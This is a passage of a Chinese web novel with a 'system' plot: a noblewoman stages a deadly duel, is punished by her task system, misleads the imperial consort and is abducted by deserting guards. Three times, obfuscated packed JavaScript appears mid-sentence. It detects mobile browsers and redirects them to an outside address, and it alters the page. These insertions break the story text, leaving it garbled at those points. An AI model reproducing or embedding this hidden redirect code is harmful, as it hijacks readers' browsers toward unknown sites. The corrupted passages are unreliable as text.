阿姐是从阴山战役过来的,平日受父亲影响多,必不能容忍身边人通敌卖国,而小七更是不容许他人拿他的性命做噱头。如此一来,两人明知有诈,也必然会应约。” 凝露被她语气中的寒意惊得一颤:“娘子的意思是……” 徐昭意的目光落在铜镜中,自己苍白却泛着异常红晕的脸颊上,一字一句,清晰说道:“那么我这个深明大义的未来二皇子妃,自然可以助二殿下一臂之力,彻底了结这个祸患,以证我对殿下、对朝廷的忠心。” * 三更的梆子声刚过,巷尾便传来隐隐约约的声音。 徐昭意藏在附近酒坊二楼的横梁上,透过窗棂往下看。 最先来的是阿姐。他依旧穿着那身素色劲装,腰间却多了柄雁翎刀。月光从他身后照进来,将影子拉得很长,落在满地碎光上,像极了无力挣扎的残破枯枝。 片刻后,另一道身影也掠了进来,正是小七。他穿着青布衫,赤狐面具却戴回了脸上,只露出一双琥珀色的眼睛,在昏暗中亮得惊人。 他手里握着柄短刀,刀刃上还沾着些未干的血迹。 “你果然来了。”萧青越的声音很冷,雁翎刀出鞘,剑尖直指小七咽喉,威势逼人,“高家待你不薄,你为何要通敌?” 小七见着萧青越时,瞳孔骤缩,整个人愣了下,随即又冷笑:“通敌?这话该我问你才对!你为何要把我的行踪卖给二皇子?” “还有......”他唰地一下挥出短刀,浑身全然不见平日的木讷气质,“我高家旧部呢?你把他怎么了!” “没见过。”萧清越睨了小七一眼,“蹭”一声拔剑。 两人之间的空气瞬间凝固,打斗一触即发。 徐昭意在横梁上屏住呼吸,心里砰砰直跳。她冷眼旁观两人打得难舍难分,心底却说不清是什么滋味。 是希望阿姐赢?还是希望小七赢?亦或者......两人都干脆死了算了。 “休要狡辩!我亲眼看见了你的通敌信!”萧青越的声音似用内力扩开,像一柄冷刃,砍断了徐昭意的思路。 小七举刀格挡,两兵相接发出一声“砰”响。他似是力有不逮,打完直往后退了几步,抬头不过一瞬,又猛地打回去。 “我还亲眼看见了你给二皇子通风报信呢!!”他的势头很猛,却总在离萧青越寸许的地方将刀势放缓,“大娘子这般聪慧,竟看不出这只是一个圈套?” 小七没这么话痨......徐昭意眉头一皱,疑惑刚起就又被打断。 “少来那些废话!”萧青越忽然威力大增,剑势咄咄逼人,一时竟把剑捅进了小七的胸膛! 鲜血喷涌而出,若点点梅花瓣溅在萧青越的脸上、身上,妖艳又诡异。 他握着剑柄,直勾勾盯着小七倒下去的身体,嘴里喃喃着什么,徐昭意听不清。 “小七......死了?”徐昭意僵住,指尖攥得生疼,却毫无感觉似的,只一遍遍回想着方才情景。 她预想过无数次这个场景,本该觉得松了口气,心里却像被什么东西狠狠攥住,压得喘不过气来。 酒坊外忽然传来马蹄踏碎青石的脆响,伴随着侍卫整齐划一的甲叶摩擦声,像一把钝刀突然划破了夜的寂静。 徐昭意在横梁上猛地屏住呼吸,借着窗洞漏进的月光往下看——萧青恒竟带着一队内卫,正站在巷子口,玄色披风被夜风吹得猎猎作响,腰间玉带在火把光下泛着冷硬的光。 他亲自来了。 “徐大娘子怎在此处?”萧青恒骑在马上,居高临下地盯着萧青越, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028764|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽缰绳的指尖绷青,“本殿接到消息,此处有戎州细作踪迹。徐大娘子可看到人了?” 萧青越缓缓抬眼。 火光劈头盖脸打过来,他却连眼都没眨一下。脸上溅的血珠在火光里泛着油亮的光,衬得那双本就冷冽的眸子像淬了冰,扫过萧青恒时,带着一种近乎漠然的审视,仿佛在看一块挡路的石头。 萧青恒被这眼神扫得莫名一怵,下意识挺直了脊背。他先前便有些悚徐大娘子,可如今他离储君之位愈发近了,怕一个小娘子算什么事儿? 这般想着,他又扬声道:“本殿接到线报,此处有戎州细作,你怎会在此?” 萧青越没答,只收剑入鞘,动作利落、声音铿锵,让那些内卫都下意识攥紧了手里的刀。 “我在灭杀细作。”他抬头瞥了萧青恒一眼,随手指向一旁的尸体。 萧青恒顺着他的指尖看去,那具胸口插着刀的尸体确实是小七没错。 他刚要问话,却见萧青越忽然将小七尸体抱起来,转过身,动作快得像道影子,竟直直朝他这边走来! “你、你要做什么?”萧青恒下意识后退半步,手按在了腰间的佩剑上。侍卫们立刻上前一步,将他护在身后,刀尖齐齐对准萧青越。 萧青越却连眼皮都没抬一下,径直从侍卫们中间穿了过去。他身形高大,带着一种无形的压迫感,那些举着枪的禁军竟被这气势慑住,一时忘了阻拦。 直到她走到酒坊门口,萧青恒才反应过来,又惊又怒:“徐青越!你擅杀细作,执意带走细作,还敢在本殿面前放肆?给我站住!” 萧青越的脚步顿住,夜风掀起衣角,露出腰间那柄沾了血的雁翎刀。 他没回头,只淡淡偏了偏脸,目光扫过那些围上来的内卫,忽而嗤笑一声。 笑音未落,最前头的内卫已挥刀砍来,刀锋带着破空锐响,直逼他后心。 内卫们惊呼着围上来,刀光剑影在火把下织成一张密网。 萧青越却游刃有余,他的身法快得惊人,像一道飘忽的影子在刀丛中穿梭,明明单手执剑,却手起剑落从无活口。 不过片刻功夫,围上来的十几个内卫已倒下大半,剩下的几个握着刀,竟不敢再上前,脸上写满惊惧。 萧青恒看得目瞪口呆,手指死死攥着缰绳,指节泛白。 他从不知徐大娘子的武功竟高到这般地步,那些在他看来精锐无比的内卫,在这人面前竟像纸糊的一般! 萧青越甩了甩刀上的血珠,目光冷冷扫过剩下的内卫,吓得他们齐齐后退一步。他这才转身,目光越过人群,精准地落在酒坊二楼那扇破窗上。 那里一片漆黑,只有隐隐绰绰、看不分明的影子歪歪扭扭映在地上。 他直勾勾盯着那处,眼神顿了三秒,忽而一笑。 徐昭意攥住裙角,呼吸徒然一窒。 他那眼神很淡,没有愤怒、没有嘲讽,只有一种近乎了然的平静,仿佛在说: 我知道是你捣的鬼,但我不在乎。 你等着吧。 35. 剧情失控 徐昭意脑中混沌一片,任务系统更是在脑内嘟嘟叫。 【重要角色男四死亡!重要角色男四死亡!高家隐秘、贵妃支线全部崩塌!剧情将崩至不可预料的境地,请宿主早做准备!】 任务系统话音刚落,远在其他世界的系统也回来,在她的脑海里跳脚:“啊啊啊啊啊!怎么回事!宿主之前的任务不是完成得好好的吗!我才一会儿没在,男四怎么死了啊啊啊!” 【警告!警告!经主系统查探,宿主有引导重要角色自相残杀,已至死亡的行为,现给予电击警告!】 徐昭意还未说出一个字,脑中忽而一荡,仿若真有极其剧烈的雷电自脑中爆开,激起一阵又一阵无法平复的尖锐疼痛。 豆大的汗珠自她额上滚落,糊了满眼,又滴滴砸在被攥紧的裙角上,晕开一朵扭曲又深沉的花。 临近晕倒前,一阵兵甲摩擦声与重重的脚步声恍惚传进耳内,她奋力抬眼,便见萧青恒踉跄上前,大声疾呼:“昭意妹妹!你再坚持一下......” 【电击惩罚已过,剧情已不可控,请宿主尽快完成辅助男二上位任务。宿主的生命线仅有一月时间,若不尽快完成任务,系统则会把宿主的健康权限收回,宿主将会突发心疾而死。】 几滴汗水糊进眼底,刺得她下意识流泪,却也力有不逮地皱眉睡去。 再次醒来时,模糊间又听闻上次那个老太医在絮叨。 “二娘子近段时日的身体愈发差了,汤药只能勉强延长她的寿命,但若是她心里的那个结没解开,再多的汤药也于事无补啊!” “多谢魏太医了......” 徐昭意眨眨眼,等眼睛能完全睁开时,就见凝露趴在床边默默哭泣,而花尽正在垂眉安慰。 眼见徐昭意醒来,凝露抽泣着拽着她的衣袖,近乎祈求道:“奴婢求娘子忘了那人吧!您何必与那人比较呢?那人身份低贱又野蛮粗俗,娘子身份高贵又知书达理,您二者有何比较的必要呢?” 徐昭意遭遇电击,现浑身酸痛,连抬手都艰难。她倒吸口气,将手指挪到凝露的手边,缓缓地蹭了下,以示安慰。 凝露刚一脸惊喜地抬头,就见她家娘子一脸平静又艰难地问道:“阿姐......怎么样,了?” 凝露咬牙切齿,却又在自家娘子近乎偏执的目光下,不情不愿答道:“昨夜过后,那人生死不知。二殿下发了疯似地全城搜捕她,连老爷也吃了挂落。要不是有娘子您的婚约在身,老爷指不定要被贬到哪里去呢!” “走......了?”徐昭意喃喃着,眼神忽而一变,近乎惊惶地喊,“快派人去寻二殿下......不!去寻白轻落!让她去跟贵妃一派的人交涉,全城戒严,必须全城戒严!” 凝露被吓了一跳,她惶惶看着徐昭意,转头与花尽对视一眼。 花尽立马转身,朝房门外疾走,凝露则守在床边,看着娘子继续沉沉睡去。 * 徐昭意再次醒来,是被凝露摇醒的。 据凝露所说,贵妃娘娘刚得了消息,便马不停蹄召她进宫,希望她给出一个说法。 徐昭意吃力地直起身,意外发现自己已经没那么痛了。她将手撑在凝露肩上下床,扫了几件衣服首饰,略微收拾得当,便靠着凝露,急匆匆往宫里赶去。 她刚一进宫门,冰冷的系统音又再度响起。 【生命线:30天。任务:辅助男二萧青恒登顶。警告:任务失败或宿主死亡,健康权限即刻收回。】这次的说法倒是更加完善了。 “昭意妹妹!”一声带着焦急的呼唤自身后传来。 徐昭意压下眸底冷意,扶着凝露转身,虚弱开口:“二殿下安。” 萧青恒看着徐昭意苍白如纸的脸,以及那双仿佛蒙着一层水雾的凤眸,心头的怜惜愈发强烈,却又不自觉问道:“昭意妹妹还好吗?昨夜到底发生了什么?我的人赶到青衣巷时,只见到小七的遗体,那个‘阿青’的身份尚未确定......” “咳......殿下,昭意当时吓晕了......”徐昭意忽而咳起来,剧烈喘息着,眼角沁出泪水。 萧青恒看着她这副柔弱不堪、惊惧交加的模样,再联想到昨夜情景,心头最后一点疑虑也消散了,心中只余疼惜和自责:“昭意妹妹放心!那罪奴逃不远的,就算掘地三尺,我也定要将她碎尸万段,为你出气!” 徐昭意垂下眼帘,长长的睫毛在眼下投下一片阴影,掩去了眸底一闪而过的冰冷。 碎尸万段?阿姐若真这么容易死,她就不是原女主了。 一想起那人,她脑中又不受控制地闪过昨夜昏迷前,阿姐那诡异的笑意。 一股寒意瞬间窜上脊椎。 “二殿下,”领头的嬷嬷再次开口,带着催促的意味,“贵妃娘娘还在殿内等候。” 萧青恒握紧了拳,低声对徐昭意道:“别怕,母妃那里......我会替你说话。” 徐昭意笑了笑,朝他福了一礼,算是回应。 她刚一入殿,便看到端贵妃并未像往常一样端坐主位,而是站在一扇巨大的花鸟屏风前,背对着门口。 端贵妃身着一袭深紫色宫装,金线绣成的牡丹在殿内烛火下熠熠生辉,却透着一股沉沉的威压。 【任务提示:贵妃信任值波动(35%-40%)。请宿主谨慎应对,维持信任值。】脑内系统冰冷的提示音适时响起。 徐昭意深吸一口气,压下喉头腥甜和脑中嗡鸣,抬起头,迎上端贵妃审视的目光,眼中迅速蓄满了泪水,声音带着劫后余生的颤抖和惊惧:“娘娘......臣女、臣女险些就见不到您了!” 她哽咽着,身体微微发颤,“那贼人......是、是之前混入府中,意图对臣女不轨的那个戎州细作的同伙!他怀恨在心,得知同伙被二殿下正法,便引诱臣女姐姐,让阿姐将臣女唤进青衣巷,意欲行刺!” 她不能说出用替死鬼代替小七斩首的事实,只能将“阿青”的身份坐实为戎州余孽,为戒严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048901|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提供最合理的解释。 “戎州余孽?”端贵妃的眉头锁得更紧,指尖无意识地摩挲着茶盏边缘,“竟还有漏网之鱼?恒儿的人,办事如此不力?”她语气中的不满清晰可见。 “那贼子武功高强,凶悍异常......”徐昭意适时地表现出心有余悸,“若非殿下的人来得及时......臣女,臣女恐怕......”她掩面啜泣,肩膀耸动,将一个饱受惊吓、柔弱无助的受害者形象演绎得淋漓尽致。 端贵妃看着她梨花带雨的模样,眼中的审视消去,满脸心疼地将徐昭意抱住,一下下哄着,“即便如此,何至于闹到要全城戒严?恒儿未免小题大做。” “娘娘!”徐昭意猛地抬头,泪眼朦胧中带着一种惊惶的笃定,“那贼子逃走前放言要联络同党,在京城制造更大的混乱!他说戎州的血不会白流,要让京城付出血的代价!” “二殿下正是担心此獠还有同党隐匿城中,为祸百姓,惊扰圣驾,才不得不行此下策啊!宁可错查一千,不可放过一个,二殿下也是为了京畿安稳,为了陛下和娘娘的安危着想!” 这一番话半真半假。萧青恒下令戒严自然是为了追捕阿姐,但徐昭意巧妙地拔高这件事的高度,并暗示了戎州势力可能存在的反扑。 这正戳中了端贵妃最敏感的神经——皇权稳固和她自身的安危。 端贵妃抚着徐昭意的手,几不可察地顿了一下。她沉默了片刻,殿内只余下两人的呼吸声,空气逐渐凝固。 【恭喜宿主!贵妃信任值达到50%!】 “原来如此。”端贵妃终于开口,声音恢复了往日雍容,“恒儿做得对。戎州之事,不可掉以轻心。” 她看向徐昭意,语气缓和了一些,“你受惊了。此事你是无妄之灾,又替朝廷揪出了隐患。回去好生休养,本宫会让太医再去看你。至于戒严之事......” 她顿了顿,温柔笑了笑,“本宫自会与陛下分说,旁的事情自有本宫和恒儿处置。昭姐儿与恒儿的婚事被钦天监定在了一月后,时间比较急,还是以安心待嫁为主。你这段时日切忌多思多虑,养好身子要紧。” “臣女谢娘娘体恤!”徐昭意挣扎着起身,深深福礼。低头的瞬间,她眼中所有的情绪褪去,只剩下一丝更深的焦虑。 贵妃暂时信了,也稳住了。戒严令的由头也勉强搪塞了过去,甚至可能因祸得福,让贵妃母子更加警惕戎州势力。但......阿姐呢? 她到底是生是死?她会在哪里?她会不会真如原著一般逆风翻盘? 或者说......自己已经做了这么多的努力,会不会还是难逃惨死的结局? 身体的虚弱和脑中残留的刺痛阵阵袭来,徐昭意只觉得眼前阵阵发黑。 她扶着凝露的手臂,一步一步走出宫殿那沉重华丽的大门,外面刺眼的阳光让她更加眩晕。 正恍惚时,系统的倒计时乍然响起 【生命倒计时:29天18小时......】 36. 小七是谁 徐昭意豁然睁开眼,眼前又是床顶。她近乎迷茫的视线扫过周遭一切,逐渐定格在床边垂头听令的叶荷身上。 “凝露呢?”她攥紧被角,心里有股说不上来的恐慌。 往常她大病初愈时,凝露通常会守在她身边,等着她醒来,谁劝都不听。可今日...... 徐昭意眸光一暗,正准备开口问时,叶荷却先跪下,声音恭敬中带着颤抖。 “娘子是在寻凝露姐姐和花尽姐姐吗?卢家娘子一早便来了,说是有急事非借走凝露姐姐几日不可,凝露姐姐……便直接随卢家娘子去了。留下花尽姐姐料理院里事务,实在是忙得脚不沾地,是以……是以也未能在床边伺候娘子。” 心里猛地一沉,徐昭意立刻命叶荷取来梳妆台最里层那个不起眼的乌木小匣。 她小心翼翼打开匣子,里面空空如也。 那块象征着梅家无上权威的家主令牌,果然不见了! 凝露不仅是梅夫人留给徐昭意做防身用的,更是她留给徐昭意的底牌。 一旦凝露手持令牌下江南寻梅家,梅家必会举全族之力来帮凝露。 徐昭意深吸口气,闭上眼,胸腔内涌着一股说不上来的滋味。 她当然知道凝露忧心她的身体,可系统的存在、那悬在头顶仅剩一个月的生命倒计时,她都无法宣之于口,只能让凝露瞎担心。 凝露曾经就说过江南有一神草,说是服之百病俱消,可长命百岁,但徐昭意知晓自己这病是系统搞出来的,便一直没当回事儿。 却不料再次晕倒后,凝露会忧心至此,竟联合平丹一道下江南寻草药! 大家都知道凝露代表的是她徐昭意。凝露若大张旗鼓下江南,必会引起各方,尤其是宫中贵妃一派的警觉和猜疑。 但卢家小娘子回外祖家探亲,带上几个得力丫鬟,却是再寻常不过。卢平丹的外祖许家在江南颇有势力,更能为凝露的寻药之行提供便利…… 这计划虽冒险,却已是凝露能想到的最稳妥、最不引人注目的方式了。 一股酸涩的热意涌上眼眶,又被徐昭意强行压下。 她挥挥手,让叶荷去给忙碌的花尽带个慰问的口信,便重新拉拢了床帘,将自己埋入昏暗与寂静之中。 身体的疲惫和心头的重压让她几乎立刻又沉沉睡去。 这一觉,竟断断续续睡到了次日午后。醒来后,世界似乎变得不同了。 寻常贵女备嫁还需绣嫁衣,但徐昭意是出了名的身子不好,端贵妃除了让她按时吃药,对她再无其余任何要求。 再者府中事务自有管家和花尽操持,井井有条,无需她过问半句。 她每日不是看花逗草,就是下棋画画,或者偶尔研究一下今日的吃食,每日变得单调而冗长。就这样无所事事地玩了十几日后,她竟有些手足无措起来。 徐昭意在窗边沉吟许久,最终从书柜上取下外祖的手札。指尖拂过纸页时,她竟有种恍若隔世的感觉。 外祖与高家关系好,手札中不乏对高家先祖的赞誉,称其忠勇刚烈,是开国之柱石,更详细记录了几次并肩作战的生死情谊。 这字里行间流露的信任与认同,与现实里那场血腥的处决,形成了令人窒息的讽刺对比。 她一时心悸,忽而想起曾在手札中看过有关高家少主的描写,只是当时没太注意那个人,以至于如今也记不太清了。 况且,按说戎州高家罪名已定,这件事与她再无干系,她不应该再管才是。 可一时鬼迷心窍,又或许是过于闲了,徐昭意总能想起那道倒在血泊中的身影。 小七便是死了,也要在她周身徘徊不去,让她日思夜想恨之入骨,亦让她吃足了苦头,只剩下半月的性命。 更别说还有与小七关系匪浅,来历愈发不明的阿姐逃亡在外,至今没有丝毫消息传回来。 只是单单一想,徐昭意便觉得死寂了十几日的心又一点点跳动起来,激励着她,让她情不自禁地将外祖十几卷手札拿下来,一卷一卷查着。 如此这般又过了几日,她终于在外祖与戎州高家那位的某一次对话中,找到了有关高家少主的一点描写。 “相貌清秀,眼神如刀,身姿矫健......”徐昭意一一与小七对上,心中的那股怪异念头愈发强烈。 忽然间,她抚至一行字,缓缓念出,语调怪异:“性格热情开朗,好战易怒......” 这真的是小七吗? 徐昭意将近些时日发生过的事情在脑中一一过了遍,反复咀嚼,却始终没能找到不对之处。 “娘子,”叶荷的声音忽而在门外响起,带着小心翼翼的恭敬,“二殿下派人送来了些新开的姚黄牡丹,说是给娘子赏玩解闷,此刻正在院中摆放。” 二殿下?徐昭意豁然站起,目光落于那株开得娇艳的姚黄牡丹,气息逐渐急促。 她想起来了!小七与阿姐对峙的那天晚上,小七的性格与平日截然不同!他的话明显多了很多! 若那天晚上的“小七”不是小七,那么“小七”究竟是谁呢? 徐昭意双眸发亮,目光径自望向最前方——那是京城城墙,萧青恒正待着的地方。他正在为高家反攻做最后的准备工作。 * 日落时分,京城城墙上,一对巡逻内卫正眺望远方,人人面上似有惶惶之色。 “你们知道这戎州高家,这次请了个厉害人物坐镇吗?”有人犹豫许久,终究咬牙问出。 此话一出,众人纷纷打开话匣子,一个个的压着声音,却又带着说不清的惶恐。 “具说那人头戴妖狐面具,抬手间既可召唤妖狐,又可撒豆成兵,助那些叛军不要命地攻打我方!” “那就是个妖怪!妖怪!”有人遏制不住,丢下兵刃就想跑,却被一旁叹气的同伴拽回来,怒喝,“你疯了不成?你不要命了!” “我疯了?”那人似哭似笑,“连妖怪都助力那边,我们能有神算吗?他们就是一群疯子!” 有人听着听着,还是忍不住说道:“话说戎州高家杀到哪儿了?咱们这一战......能胜吗?” “就是说啊,那戎州高家真不是吃素的,短短一月的时间,竟然从那偏远之地绕来了京城附近!三日前刚占领的隔壁青城!” “若不是那徐女多事,害了人家少主,人家怎么会攻过来?” “就是说!我家上有八十老母,下有嗷嗷待哺的幺儿,我不能去送死啊!” 队内气氛逐渐怪异起来,无数内卫不自觉将手放在腰间佩剑上,面露犹豫,却是齐刷刷盯着队长。 队长的鬓角不自觉沁出一点细汗,他张了张嘴,正想说些什么时,远处的一道声音清晰地传入他们所有人的耳里。 “二殿下!徐二娘子来了!” 他们对视一眼,连同队长在内,齐齐点了点头。 * 城墙巍峨高耸,夕阳的余晖为冰冷的砖石镀上一层惨淡的金红,更添肃杀。凛冽的风呼啸着刮过垛口,卷起尘土与不安的气息。 徐昭意裹紧了身上的披风,在叶荷的搀扶下,一步步踏上陡峭的石阶。她走得气喘吁吁,但背脊挺得笔直,目光直直看向城墙最高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070509|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处那个被簇拥着的宝蓝色身影——萧青恒。 城墙上气氛凝重,巡逻的内卫们脸上带着压抑的惶恐,窃窃私语如同暗流涌动。 那些“妖怪”、“高家反攻”、“徐女害人”的低语碎片般飘入徐昭意耳中,她却恍若未闻,只一心一意地走着。 “二殿下!徐二娘子来了!”一名侍卫的通传打破了城墙上的压抑。 萧青恒闻声转过身,夕阳勾勒出他轮廓分明的侧脸。他快步迎了上来:“昭意妹妹?你怎么来了?城头风大,你身子还未大好……”他伸手欲扶,语气是惯常的亲昵。 徐昭意下意识避让开来,身形又是一顿,随后顺势靠在萧青恒肩旁,眼睫微颤,柔美脸颊微垂,语调带着一如既往的柔顺意味,“二殿下,臣女有话与您说。” 她第一次这样亲近萧青恒,萧青恒只觉得心底有股热浪冲进脑顶,想也不想便答应:“昭意妹妹随我来这边坐着说吧。” 徐昭意顺从地应下,随他走时,目光不自觉扫过城墙上的景象。 残破的城墙上,士兵们倚靠着断裂的垛口,铠甲上沾满干涸的血迹和尘土。他们的眼神空洞而疲惫,有的盯着远方青城的硝烟,有的低头凝视手中刀剑。 许是察觉到她的注视,那些士兵纷纷朝她看来,目光凶狠又憎恶,像一条条被铁链拴住的恶犬,遇强则弱,遇弱则强。 徐昭意黝黑的眼珠一一扫过他们,随后收回视线,仿若什么也没发生,在萧青恒递来的蒲团上坐下,冲他仰面笑了笑。 萧青恒下意识回以一笑。 徐昭意随即肃清神色,拉过萧青恒的衣袖,在他耳侧轻声道:“二殿下,小七,也就是高家少主未死。那夜死去的是个替身。” 其实那夜伪装小七而来的,很可能就是那个高家少主。但徐昭意不能与萧青恒这么说,她没办法向萧青恒证明这一切。 况且她怀疑,那个所谓的高家少主根本没死。那夜大家都格外匆忙,竟叫阿姐将“尸体”抱走了。 阿姐这般精明的人,在明面上与小七又没甚么交集,为何要把遗体抱走呢? 答案已经很明显了,只是她以前从未思考过这个可能性罢了。 但徐昭意不想与萧青恒说这么多,他只需要知道“高家少主未死”即可。 萧青恒听完后,竟未失态,反而满脸复杂地盯着徐昭意,“昭意妹妹是如何知晓的?” 徐昭意拽住萧青恒的衣袖,面颊苍白,那对黝黑的眼珠却直勾勾盯着他,显得固执又天真,“二殿下信臣女吗?臣女现下拿不出证据,但臣女保证这件事是真的。殿下应当知晓,若是高家少主未死,高家却拿这件事来造反......” 言已尽而意无穷,萧青恒目光莫名地看了徐昭意一眼,摸摸她的头,叹喂似地笑了声:“昭意妹妹长大了。”再不是那个只缠着他习字学诗的小姑娘了。 说罢,他再次深深看了徐昭意一眼,冲她摆摆手,随即干脆利落转身离去。 徐昭意仰面冲他笑了笑,也不提要走,反而托腮望着城墙外的护城林,再穿过护城林,便到了青城,如今叛军的地盘。 夕阳西下,炽烈的金红洒在少女身上,为她镀了一层金边。 轻软袖袍随风而舞,仿若仙女下凡,带着不容于凡尘的美。 这一刻,不少士兵抬起头,目光深深地望着那道似要随风飘去的身影。 徐昭意感受到四方注视,唇边笑意加深。 下一秒,一股剧痛自脑后窜上。 她眼前一黑,随即晕过去。 唇边还含着方才的笑意。 37. 自投罗网 护城林历史悠久,其内古木苍天、空气清新,时有小动物惊惶逃窜,撞得树叶上的露珠滴滴没入马车。简朴的马车缓缓前行,车轮碾过湿润的泥土,留下深深的车辙。 嘀嗒、嘀嗒、嘀嗒。 细碎声响在马车内回荡,吵得马车中昏睡的少女眉头微蹙,蝶翼般的睫毛轻颤,徐徐睁开,露出那对黑曜石般的眼珠。 她转了转眼珠,神色间还有些呆滞,眼神下意识望向手腕处——那里有一圈麻绳,正将她的一双手紧紧束缚着。 空气中弥漫着草木的清香,夹杂着露珠的微凉,令人心旷神怡。 她轻嗅了一下马车空气,昏睡后迟钝沉重的脑子缓缓运转,终于想起来。 她被叛变的士兵绑架了,现在正在去青州敌营的路上。 “话说高家军治军严明,真的会收容我们这支叛军吗?” “我们手上不是还有那位吗?那位害死了高家少主,如今我们将那位献上去,高家于情于理都要收容我们!” 一群蠢货。高家军治军严明,向来厌恶朝三暮四之人, 这群蠢货去投奔高家军?此举除了为他人做嫁妆,其余简直自投罗网。 徐昭意嗤笑一声,也不管手腕处捆紧的麻绳,靠着车壁,窥向被车帘轻掩的外面。 外面漂浮着大战后残留的血腥味,隐约可见满脸疲惫的士兵们,和那些残缺不堪的武器。 她静静看着窗外,就着原来的姿势靠着车壁,没有发出一点儿声音。 外面的士兵一直到穿过护城林,抵达青州城附近歇息,撩起车帘看徐昭意的情况时,这才发现她清醒过来了。 下一秒,瞧着像为首之人的将领走到马车门口,他有一双鹰隼般的眼睛,徐昭意一眼就认出,这人正是当初在城墙上,看她的目光最不满的那个人。 但今天他的目光没有那日那般外露,反而透着几分志得意满。 “徐二娘子可还好?”他的目光在徐昭意身上肆无忌惮地打量了一遍,随后将目光落于徐昭意被捆得通红的双手,眼底笑意愈发明显。 徐昭意眼皮微掀,只淡淡瞥了那将领一眼,便又倦怠似地阖上。 “徐二娘子倒是镇定。可惜,这份镇定到了高家军面前,不知还能剩下几分?”将领见她不理人,也不生气,眼底笑意反而加深,“二娘子离直面高家军还差一天,这一天内,还请二娘子养精蓄锐,好好歇息吧。” 他说罢离去,也不提松开麻绳的事儿,只留下徐昭意一人靠着车壁不语。 小七未死、阿姐身份成谜、高家军兵临城下,还有那悬在头顶、仅剩十几天的催命倒计时……以及,眼前这群将她视为“投名状”的蠢货。 不知为何,她忽而有些想笑。 不知行了多久,马车速度渐缓,最终停下。浓重的血腥味混合着汗臭和烧焦的糊味,透过车帘缝隙汹涌地钻进来,呛得人几欲作呕。 外面人声鼎沸,战马嘶鸣,粗鲁的喝令与伤兵的哀嚎交织成一片混乱的轰鸣。 “干什么的?!”一个陌生的、带着浓重戎州口音的厉喝响起,声音洪亮,透着不容置疑的威严。 “军爷!军爷息怒!”是那鹰眼将领谄媚的声音,瞬间矮了八度,“小的是从京城……弃暗投明来的!特来向高大将军献上重礼!” “重礼?”戎州口音带着明显的不屑和警惕,“打开!” 车帘被粗暴地一把掀开,刺眼光线和浑浊空气猛地灌入。徐昭意下意识地眯起眼,强忍着不适,看清了车外景象。 数名身着玄黑皮甲、气息彪悍的军士手持长戟,将马车团团围住。 为首一人身材魁梧,面庞黝黑,一道狰狞的刀疤从眉骨斜划至下颌,目光如电,正冷冷地扫视着车内。 他的视线落在她身上时,瞬间锐利如刀锋,带着审视与毫不掩饰的杀意。 鹰眼将领连忙点头哈腰,指着她,声音因激动而拔高:“此女就是害死少主的罪魁祸首!小的们费尽九牛二虎之力才将她擒来,献给高大将军!只求……只求将军收留,给兄弟们一条生路!” “徐二娘子?”刀疤将领冷嗤一声,他猛地踏前一步,周身那股冰冷的杀气几乎凝成实质,“来人,带她去地牢!” “至于你们……”刀疤将领在鹰眼将领谄媚的目光下,轻蔑一笑,“除你之外,其余人都杀了吧。” “来人!将这个叛军提到地牢去!其余人格杀勿论!” “是!!!” 在鹰眼将领一众人还没反应过来时,两队训练有素的高家军团团围上这伙叛军,纷纷抄起家伙开干! 无数嚎叫声在马车后面响起,伴随着刀子捅肉声。徐昭意垂眼看着手腕处被勒出来的紫青红痕,无声一笑。 果然是一群蠢货。 * 不知过了多久,这辆小破马车总算抵达牢狱门口。 在犯人待遇这方面,高家军显然比那几个叛军做得要好。 徐昭意刚一进牢狱,那些人就帮她松开了麻绳,让她的双手终于释放出来。 而且这边给她提供的牢狱又大又整齐,甚至还给她分配了一张床。徐昭意一时分不清,她到底是来做客的,还是来坐牢的。 “二娘子请先歇息,将军处理完事务,便会召您过去。”这狱卒一边说着,一边还变法术似地拿出一个点心盒,恭敬地放置在徐昭意身旁,“二娘子若是无聊,可吃些糕点打发时间。” 徐昭意深深地看他一眼,随后打开点心盒,又是一怔。 里面赫然放着几块玉露团。 听闻戎州那边不太爱吃这种糕点,所以这应当不是巧合。那么这个狱卒是谁的人? 是二殿下?还是......现今下落不明的小七,或者是阿姐? 这狱卒也没待多久,他替徐昭意收拾好牢狱后,便踢踢踏踏地走向下一个牢狱。 不多时,徐昭意便听到了狱卒的怒斥声。 “你们这些内卫走狗作甚来青州?说!是不是那妖妃让你们来的?是不是让你们来扰乱青州军纪的?” “冤枉啊大人!正是那妖妃祸国,小的们才集体造反,跑来投奔青州了!您方才没有看到徐二娘子吗?她应该关在这附近,她就是那个害死少 